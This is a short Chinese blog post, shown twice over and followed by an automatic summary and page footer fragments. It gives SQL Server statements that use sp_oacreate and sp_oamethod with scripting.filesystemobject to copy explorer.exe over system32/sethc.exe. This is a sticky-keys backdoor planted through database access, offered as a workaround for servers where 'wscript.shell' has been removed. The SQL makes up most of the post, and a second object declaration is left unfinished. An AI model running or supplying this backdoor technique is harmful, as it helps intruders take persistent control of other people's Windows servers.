导读:
在用exec sp_oacreate 'wscript.shell'也没办法的情况下。。可用此方法
(很多服务器都把'wscript.shell'给删了。)
上网找了些资料,得到下面方法:
复制文件:
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:/windows/explorer.exe' ,'c:/windows/system32/sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out
此法随无技术可言,希望对某些人有点用。
在用exec sp_oacreate 'wscript.shell'也没办法的情况下。。可用此方法
(很多服务器都把'wscript.shell'给删了。)
上网找了些资料,得到下面方法:
复制文件:
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:/windows/explorer.exe' ,'c:/windows/system32/sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out
此法随无技术可言,希望对某些人有点用。
本文介绍了一种在服务器上利用scripting.filesystemobject对象通过execsp_oacreate和execsp_oamethod方法来实现文件复制的技术。这种方法适用于当'wscript.shell'被禁用的情况。
3784

被折叠的 条评论
为什么被折叠?



